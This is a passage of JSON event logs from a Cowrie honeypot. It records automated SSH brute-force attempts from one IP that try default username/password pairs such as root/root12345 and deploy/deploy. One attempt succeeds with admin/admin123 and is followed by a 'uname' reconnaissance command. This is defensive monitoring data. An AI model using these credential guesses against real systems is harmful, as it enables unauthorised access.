{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45578,"dst_ip":"10.17.0.5","dst_port":22,"session":"66df31ae35f7","protocol":"ssh","message":"New connection: 176.65.132.129:45578 (10.17.0.5:22) [session: 66df31ae35f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:59.302062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:59.306915Z","src_ip":"176.65.132.129","session":"66df31ae35f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:59.388978Z","src_ip":"176.65.132.129","session":"66df31ae35f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:37:59.767426Z","src_ip":"176.65.132.129","session":"66df31ae35f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:00.853464Z","src_ip":"176.65.132.129","session":"66df31ae35f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45586,"dst_ip":"10.17.0.5","dst_port":22,"session":"95eca5665ecf","protocol":"ssh","message":"New connection: 176.65.132.129:45586 (10.17.0.5:22) [session: 95eca5665ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:02.794568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:02.798892Z","src_ip":"176.65.132.129","session":"95eca5665ecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:02.881718Z","src_ip":"176.65.132.129","session":"95eca5665ecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:03.130111Z","src_ip":"176.65.132.129","session":"95eca5665ecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:04.226923Z","src_ip":"176.65.132.129","session":"95eca5665ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44412,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ef6362234e","protocol":"ssh","message":"New connection: 176.65.132.129:44412 (10.17.0.5:22) [session: 57ef6362234e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:06.256710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:06.284970Z","src_ip":"176.65.132.129","session":"57ef6362234e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:06.341872Z","src_ip":"176.65.132.129","session":"57ef6362234e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:06.661604Z","src_ip":"176.65.132.129","session":"57ef6362234e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46214,"dst_ip":"159.203.135.109","dst_port":23,"session":"a095b54304c4","protocol":"telnet","message":"New connection: 38.60.198.128:46214 (159.203.135.109:23) [session: a095b54304c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:07.305991Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:07.746596Z","src_ip":"176.65.132.129","session":"57ef6362234e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46982,"dst_ip":"159.203.135.109","dst_port":23,"session":"277edb780973","protocol":"telnet","message":"New connection: 38.60.198.128:46982 (159.203.135.109:23) [session: 277edb780973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:07.830718Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44428,"dst_ip":"10.17.0.5","dst_port":22,"session":"5582fe19790a","protocol":"ssh","message":"New connection: 176.65.132.129:44428 (10.17.0.5:22) [session: 5582fe19790a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:09.579359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:09.585040Z","src_ip":"176.65.132.129","session":"5582fe19790a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:09.667260Z","src_ip":"176.65.132.129","session":"5582fe19790a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:09.913929Z","src_ip":"176.65.132.129","session":"5582fe19790a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:11.071417Z","src_ip":"176.65.132.129","session":"5582fe19790a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44440,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfed426bf8a8","protocol":"ssh","message":"New connection: 176.65.132.129:44440 (10.17.0.5:22) [session: bfed426bf8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:12.989956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:12.997771Z","src_ip":"176.65.132.129","session":"bfed426bf8a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:13.163420Z","src_ip":"176.65.132.129","session":"bfed426bf8a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:13.490208Z","src_ip":"176.65.132.129","session":"bfed426bf8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:14.575475Z","src_ip":"176.65.132.129","session":"bfed426bf8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.86647176742554,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:16.098889Z","src_ip":"38.60.198.128","session":"091d269b7f58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51714,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1426a9abe7f","protocol":"ssh","message":"New connection: 176.65.132.129:51714 (10.17.0.5:22) [session: a1426a9abe7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:16.373575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:16.377563Z","src_ip":"176.65.132.129","session":"a1426a9abe7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:16.459237Z","src_ip":"176.65.132.129","session":"a1426a9abe7f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:16.704473Z","src_ip":"176.65.132.129","session":"a1426a9abe7f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:16.911844Z","src_ip":"176.65.132.129","session":"a1426a9abe7f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:16.915116Z","src_ip":"176.65.132.129","session":"a1426a9abe7f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:17.000379Z","src_ip":"176.65.132.129","session":"a1426a9abe7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:17.006384Z","src_ip":"176.65.132.129","session":"a1426a9abe7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":38370,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef36147d517","protocol":"telnet","message":"New connection: 192.211.53.160:38370 (159.203.135.109:23) [session: aef36147d517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:19.116547Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":38140,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ff2cdaee705","protocol":"telnet","message":"New connection: 192.211.53.160:38140 (159.203.135.109:23) [session: 3ff2cdaee705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:19.202346Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51720,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e20300a8400","protocol":"ssh","message":"New connection: 176.65.132.129:51720 (10.17.0.5:22) [session: 1e20300a8400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:19.750835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:19.866105Z","src_ip":"176.65.132.129","session":"1e20300a8400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:19.869720Z","src_ip":"176.65.132.129","session":"1e20300a8400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:20.271075Z","src_ip":"176.65.132.129","session":"1e20300a8400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33320,"dst_ip":"159.203.135.109","dst_port":23,"session":"9adad21ae14b","protocol":"telnet","message":"New connection: 38.60.198.128:33320 (159.203.135.109:23) [session: 9adad21ae14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:20.536944Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:21.354496Z","src_ip":"176.65.132.129","session":"1e20300a8400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51722,"dst_ip":"10.17.0.5","dst_port":22,"session":"e64c475b28fe","protocol":"ssh","message":"New connection: 176.65.132.129:51722 (10.17.0.5:22) [session: e64c475b28fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:23.305767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:38:23.310405Z","src_ip":"176.65.132.129","session":"e64c475b28fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@o